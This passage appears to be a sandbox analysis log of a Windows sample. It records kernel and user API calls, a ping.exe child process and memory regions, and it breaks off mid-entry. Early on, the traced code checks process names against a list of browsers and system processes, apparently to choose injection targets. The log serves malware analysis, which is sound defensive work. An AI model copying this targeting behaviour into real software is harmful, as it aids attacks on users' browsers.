[0095.612] _strcmpi (_Str1="runonce.exe", _Str2="ping.exe") returned 1 [0095.612] StrStrIA (lpFirst="runonce.exe", lpSrch="explo") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="firefox") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="chrome") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="opera") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="safari") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="netsc") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="avant") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="browser") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="mozill") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="wuauclt") returned 0x0 [0095.766] StrStrIA (lpFirst="runonce.exe", lpSrch="wermgr.exe") returned 0x0 [0095.766] HeapDestroy (hHeap=0x1c90000) returned 1 [0095.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5e000 [0095.769] IdePortDispatch () returned 0x103 [0095.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce2000 [0095.774] IdePortDispatch () returned 0x103 [0095.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003495000 [0095.841] IdePortDispatch () returned 0x103 [0095.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034af000 [0095.872] IdePortDispatch () returned 0x103 [0096.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c52000 [0096.069] IdePortDispatch () returned 0x103 [0096.277] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3de88 [0096.277] IdePortDispatch () returned 0x103 [0096.380] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bce000 [0096.380] IdePortDispatch () returned 0x103 [0096.508] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f5000 [0096.671] IdePortDispatch () returned 0x103 [0096.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0096.672] IdePortDispatch () returned 0x103 [0096.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f7000 [0096.673] IdePortDispatch () returned 0x103 [0096.749] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880030f36a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035be000 [0096.778] IdePortDispatch () returned 0x103 [0096.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c49000 [0096.844] IdePortDispatch () returned 0x103 [0096.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342b000 [0096.890] IdePortDispatch () returned 0x103 [0096.899] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0096.899] IdePortDispatch () returned 0x103 [0096.973] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041e5000 [0096.973] IdePortDispatch () returned 0x103 [0097.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0097.028] IdePortDispatch () returned 0x103 [0097.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035af000 [0097.059] IdePortDispatch () returned 0x103 [0097.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce3000 [0097.324] IdePortDispatch () returned 0x103 [0097.405] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004103000 [0097.405] IdePortDispatch () returned 0x103 [0098.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800410f000 [0098.018] IdePortDispatch () returned 0x103 [0098.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800411d000 [0098.019] IdePortDispatch () returned 0x103 [0098.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800412d000 [0098.020] IdePortDispatch () returned 0x103 [0098.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800413d000 [0098.020] IdePortDispatch () returned 0x103 [0098.021] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.022] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004151000 [0098.025] IdePortDispatch () returned 0x103 [0098.026] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004161000 [0098.026] IdePortDispatch () returned 0x103 [0098.026] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004171000 [0098.026] IdePortDispatch () returned 0x103 [0098.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be5000 [0098.031] IdePortDispatch () returned 0x103 [0098.056] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040d4000 [0098.065] IdePortDispatch () returned 0x103 [0098.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b35000 [0098.073] IdePortDispatch () returned 0x103 [0098.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b46000 [0098.074] IdePortDispatch () returned 0x103 [0098.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4a000 [0098.075] IdePortDispatch () returned 0x103 [0098.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5a000 [0098.075] IdePortDispatch () returned 0x103 [0098.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dae000 [0098.087] IdePortDispatch () returned 0x103 [0098.090] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db5000 [0098.090] IdePortDispatch () returned 0x103 [0098.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de5000 [0098.097] IdePortDispatch () returned 0x103 [0098.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0098.106] IdePortDispatch () returned 0x103 [0098.108] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003491000 [0098.108] IdePortDispatch () returned 0x103 [0098.118] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035de000 [0098.118] IdePortDispatch () returned 0x103 [0098.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004000000 [0098.119] IdePortDispatch () returned 0x103 [0098.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004010000 [0098.120] IdePortDispatch () returned 0x103 [0098.120] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004020000 [0098.120] IdePortDispatch () returned 0x103 [0098.121] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004024000 [0098.121] IdePortDispatch () returned 0x103 [0098.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0098.319] IdePortDispatch () returned 0x103 [0098.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0098.582] IdePortDispatch () returned 0x103 [0098.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0098.765] IdePortDispatch () returned 0x103 [0098.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003576000 [0098.962] IdePortDispatch () returned 0x103 [0099.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d9000 [0099.056] IdePortDispatch () returned 0x103 [0099.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041c7000 [0099.107] IdePortDispatch () returned 0x103 [0099.288] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040f1000 [0099.288] IdePortDispatch () returned 0x103 [0099.290] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040f9000 [0099.290] IdePortDispatch () returned 0x103 [0099.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004109000 [0099.291] IdePortDispatch () returned 0x103 [0099.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800410d000 [0099.291] IdePortDispatch () returned 0x103 [0099.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004115000 [0099.291] IdePortDispatch () returned 0x103 [0099.360] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800414d000 [0099.360] IdePortDispatch () returned 0x103 [0099.360] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800415d000 [0099.361] IdePortDispatch () returned 0x103 [0099.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800416d000 [0099.362] IdePortDispatch () returned 0x103 [0099.364] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800417d000 [0099.364] IdePortDispatch () returned 0x103 [0099.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004186000 [0099.365] IdePortDispatch () returned 0x103 [0099.381] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004196000 [0099.381] IdePortDispatch () returned 0x103 [0099.387] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0099.387] IdePortDispatch () returned 0x103 [0099.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880030f2960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0099.391] IdePortDispatch () returned 0x103 [0099.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b17000 [0099.393] IdePortDispatch () returned 0x103 [0099.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1c000 [0099.393] IdePortDispatch () returned 0x103 [0099.399] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b31000 [0099.400] IdePortDispatch () returned 0x103 Thread: id = 327 os_tid = 0x540 [0099.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b41000 [0099.401] IdePortDispatch () returned 0x103 [0099.402] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b44450 [0099.402] IdePortDispatch () returned 0x103 [0099.403] IdePortDispatch () returned 0x103 [0099.403] IdePortDispatch () returned 0x103 [0099.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b46450 [0099.403] IdePortDispatch () returned 0x103 Thread: id = 330 os_tid = 0x550 [0097.423] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004113000 [0097.423] IdePortDispatch () returned 0x103 [0097.424] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004123000 [0097.424] IdePortDispatch () returned 0x103 [0097.424] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004127000 [0097.424] IdePortDispatch () returned 0x103 [0097.425] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.438] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.439] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d23000 [0097.439] IdePortDispatch () returned 0x103 [0097.441] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d79000 [0097.441] IdePortDispatch () returned 0x103 [0097.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350f000 [0097.628] IdePortDispatch () returned 0x103 [0097.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351f000 [0097.629] IdePortDispatch () returned 0x103 [0097.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352f000 [0097.630] IdePortDispatch () returned 0x103 [0097.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003531000 [0097.630] IdePortDispatch () returned 0x103 [0097.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0097.631] IdePortDispatch () returned 0x103 Thread: id = 356 os_tid = 0x5c0 Thread: id = 367 os_tid = 0x5ec Process: id = "28" image_name = "ping.exe" filename = "c:\\windows\\syswow64\\ping.exe" page_root = "0x7063000" os_pid = "0x50c" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\SysWOW64\\ping.exe 127.0.0.1 -t" cur_dir = "C:\\Windows\\system32\\" Region: id = 2563 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2564 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2565 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2566 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2567 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2568 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2569 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2570 start_va = 0x940000 end_va = 0x947fff entry_point = 0x942aa7 region_type = mapped_file name = "PING.EXE" filename = "\\Windows\\SysWOW64\\PING.EXE" Region: id = 2571 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2572 start_va = 0x77e30000 end_va = 0x77faffff entry_point = 0x77e30000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" Region: id = 2573 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2574 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2575 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2576 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2577 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2578 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2579 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2580 start_va = 0x120000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2581 start_va = 0x74560000 end_va = 0x74567fff entry_point = 0x745620f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" Region: id = 2582 start_va = 0x74570000 end_va = 0x745cbfff entry_point = 0x745af798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" Region: id = 2583 start_va = 0x745d0000 end_va = 0x7460efff entry_point = 0x745fde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" Region: id = 2605 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2606 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2607 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2608 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2609 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2610 start_va = 0x76300000 end_va = 0x7640ffff entry_point = 0x763132d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" Region: id = 2611 start_va = 0x77480000 end_va = 0x774c5fff entry_point = 0x77487478 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" Region: id = 2612 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x0 region_type = private name = "private_0x0000000077a30000" filename = "" Region: id = 2613 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x0 region_type = private name = "private_0x0000000077b50000" filename = "" Region: id = 2614 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2615 start_va = 0x7f0e0000 end_va = 